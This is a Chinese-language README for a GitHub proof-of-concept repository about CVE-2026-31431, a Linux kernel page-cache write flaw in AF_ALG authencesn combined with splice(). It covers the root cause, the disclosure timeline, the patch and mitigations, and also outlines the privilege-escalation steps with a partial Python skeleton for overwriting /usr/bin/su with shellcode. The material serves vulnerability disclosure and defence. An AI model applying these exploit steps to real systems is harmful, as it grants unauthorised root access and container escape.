rio128128/copy-fail-CVE-2026-31431
GitHub: rio128128/copy-fail-CVE-2026-31431
利用 Linux 内核 AF_ALG 与 splice() 交互中的页缓存写越界缺陷,以确定性的方式在主流 Linux 发行版上实现本地提权至 root 的漏洞概念验证。
Stars: 0 | Forks: 0
# CVE-2026-31431 — Copy 失败
📄 [技术分析报告](https://xint.io/blog/copy-fail-linux-distributions) · 🔗 [内核补丁](https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5) · 🛡️ CVSS: **严重**
## 测试过的发行版
| 发行版 | 内核版本 |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
这四个系统均使用相同的 732 字节 Python 脚本成功获取了 root 权限,且无需任何修改。
## 独特之处
| 属性 | 详情 |
|---|---|
| **确定性** | 直线逻辑缺陷 —— 无竞态条件、无时间窗口、无需重试 |
| **可移植性** | 相同的脚本、相同的字节,适用于所有测试过的发行版和架构 |
| **极小体积** | 732 字节的 Python 脚本仅使用标准库(`os`、`socket`、`zlib`)。需要 Python 3.10+ 以支持 `os.splice` |
| **隐蔽性** | 被破坏的页永远不会被标记为脏页。磁盘上的校验和保持不变;仅修改了内存中的页缓存 |
| **跨容器** | 页缓存在系统范围内跨容器边界共享 —— 这也是一种 Kubernetes 节点逃逸原语(见第 2 部分) |
## 根本原因
### 设置阶段:可写 Scatterlist 中的页缓存页
`AF_ALG` 将内核的加密子系统暴露给无特权的用户空间。`splice()` 通过引用将文件数据传输到管道中 —— 直接传递页缓存页,而无需复制。当用户将文件 splice 到 `AF_ALG` AEAD socket 时,该 socket 的输入 scatterlist 会持有对该文件在内核中缓存页的直接引用。
在 `algif_aead.c` 中,2017 年的就地优化将 AAD 和密文从 TX scatterlist 复制到 RX 缓冲区中,但使用 `sg_chain()` 通过引用链接了身份验证标签页,然后设置了 `req->src = req->dst`:
```
Input SGL: [ AAD | CT | Tag ]
^
└─ sg_chain() → still points to page cache pages
Output SGL: [ AAD | CT ] ──→ [ Tag (page cache pages) ]
(RX buffer) (chained from TX SGL)
req->src ──┐
├──→ same combined scatterlist
req->dst ──┘
```
来自 `splice()` 的页缓存页此时正位于一个可写的目标 scatterlist 中,与合法写入区域仅由一个偏移边界隔开。API 中没有任何机制强制要求算法必须保持在边界之内。
### 触发阶段:`authencesn` 的越界临时写入
`authencesn` 是 IPsec 用于支持 64 位扩展序列号 (ESN) 的 AEAD 包装器。为了为 HMAC 计算重新排列 ESN 字节,它使用调用者的目标缓冲区作为临时空间 —— 包括在 `assoclen + cryptlen` 偏移量处的一次写入,该偏移量**超出了身份验证标签边界**:
```
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // read AAD[0..7]
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // overwrite dst[4..7]
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // ← writes past the tag
```
第三次调用在 `dst[assoclen + cryptlen]` 处写入了 4 个字节(`seqno_lo`)。在就地 AF_ALG 路径中,scatterwalk 从 RX 缓冲区越界进入了被链式链接的页缓存标签页。内核通过 `kmap_local_page` 映射了页缓存页,并直接写入到目标文件的缓存副本中。
随后 HMAC 校验失败(因为密文是伪造的),`recvmsg()` 返回一个错误 —— 但那 4 字节的写入却永久保留了下来。
### 三个攻击者可控的变量
| 变量 | 控制方式 |
|---|---|
| **目标文件** | 当前用户可读的任何文件 |
| **写入偏移量** | `assoclen`、`splice` 偏移量和 `splice` 长度 |
| **写入值** | `sendmsg()` 中提供的 AAD 的第 4-7 字节(`seqno_lo`) |
## 发生过程:长达九年的链条
| 年份 | 事件 |
|---|---|
| **2011** | 为支持 IPsec ESN,`authencesn` 被添加到内核中([a5079d084f8b](https://github.com/torvalds/linux/commit/a5079d084f8b))。临时写入存在但无害 —— 因为只有内部 xfrm 层调用它,且 AAD 位于单独的 scatterlist 中。 |
| **2015** | `AF_ALG` 获得 AEAD 支持。`authencesn` 被转换为新的 AEAD 接口([104880a6b470](https://github.com/torvalds/linux/commit/104880a6b470)),引入了 `assoclen + cryptlen` 写入偏移量。此时仍为非就地操作:页缓存页位于 `src`(只读)中。尚不可利用。 |
| **2017** | 就地优化被添加到 `algif_aead.c` 中([72548b093ee3](https://github.com/torvalds/linux/commit/72548b093ee3))。设置了 `req->src = req->dst`。页缓存标签页被链接到了可写目标中。**漏洞形成。** |
| **2026-03-23** | 报告给 Linux 内核安全团队。 |
| **2026-04-01** | 补丁被合并到主线。 |
| **2026-04-22** | 分配了 CVE-2026-31431。 |
| **2026-04-29** | 公开披露。 |
没有任何单一的改动是错误的。该漏洞存在于这三者的交叉点。
## 漏洞利用
默认目标是 `/usr/bin/su`,一个存在于所有测试发行版上的 setuid-root 二进制文件。
```
Step 1 — Socket setup
Open AF_ALG socket, bind to authencesn(hmac(sha256),cbc(aes))
Set key. Accept request socket. (No privileges required.)
Step 2 — Write loop (once per 4-byte shellcode chunk)
sendmsg() → AAD bytes [4:8] carry the 4 bytes to write (seqno_lo)
splice() → target file's page cache pages into the AF_ALG socket
recv() → triggers decrypt → authencesn writes seqno_lo into page cache
(recvmsg returns error; the write persists)
Step 3 — Execute
execve("/usr/bin/su")
Kernel loads binary from the (now-corrupted) page cache
Setuid-root binary executes injected shellcode → UID 0
```
```
a = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
# ... 设置 key,接受 request socket u ...
u.sendmsg([b"A"*4 + payload_chunk], [cmsg_headers], MSG_MORE)
os.splice(target_fd, pipe_wr, offset)
os.splice(pipe_rd, alg_fd, offset)
u.recv(...) # triggers page cache write
```
## 修复方案
### 永久修复
更新至包含 [patch a664bf3d603d](https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5) 的内核。该修复将 `algif_aead.c` 恢复为非就地操作:`req->src` 指向 TX SGL;`req->dst` 指向 RX 缓冲区。来自 `splice()` 的页缓存页保持只读。将它们链接到可写目标的 `sg_chain()` 机制已被移除。
```
// Before (vulnerable): src and dst share the same scatterlist
aead_request_set_crypt(&areq->cra_u.aead_req, rsgl_src, rsgl_src, used, ctx->iv);
// After (fixed): src is TX SGL, dst is RX buffer — fully separated
aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src, rsgl_dst, used, ctx->iv);
```
### 临时缓解措施
禁用 `algif_aead` 内核模块:
```
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
```
或者在工作负载配置文件中通过 seccomp 策略阻止创建 `AF_ALG` socket。
## 协调披露时间线
| 日期 | 事件 |
|---|---|
| 2026-03-23 | 向 Linux 内核安全团队报告了该漏洞 |
| 2026-03-24 | 收到初步确认 |
| 2026-03-25 | 提出并审查了补丁 |
| 2026-04-01 | 补丁提交至主线内核 |
| 2026-04-22 | 分配了 CVE-2026-31431 |
| 2026-04-29 | 公开披露 |
## 发现过程
Theori 的研究员 **Taeyang Lee** 通过之前的 kernelCTF 工作发现,`AF_ALG + splice()` 创建了一条路径,使得无特权的用户空间可以将页缓存页直接送入加密子系统 —— 并且 scatterlist 页来源是一个未被充分探索的漏洞类别。
研究团队使用 [Xint Code](https://code.xint.io/) 将这一洞察扩展到整个 `crypto/` 子系统,并使用了以下操作提示:
经过大约一小时的自动分析,Copy Fail 成为严重级别最高的输出。在同一扫描期间发现的其他漏洞仍在协调披露中。
*第 2 部分:从 Pod 到主机 —— Copy Fail 如何逃逸所有主流云 Kubernetes 平台。即将发布。*
标签:0day挖掘, AF_ALG, Chrome Headless, CVE-2026-31431, CVSS高危, Kubernetes安全, Linux漏洞, Python PoC, splice系统调用, Web报告查看器, 云计算安全, 信息网络安全, 内存损坏, 内核安全, 内核提权, 协议分析, 子域名突变, 安全渗透, 容器逃逸, 本地提权, 权限提升, 跨平台攻击, 逆向工具, 零日漏洞, 页面缓存污染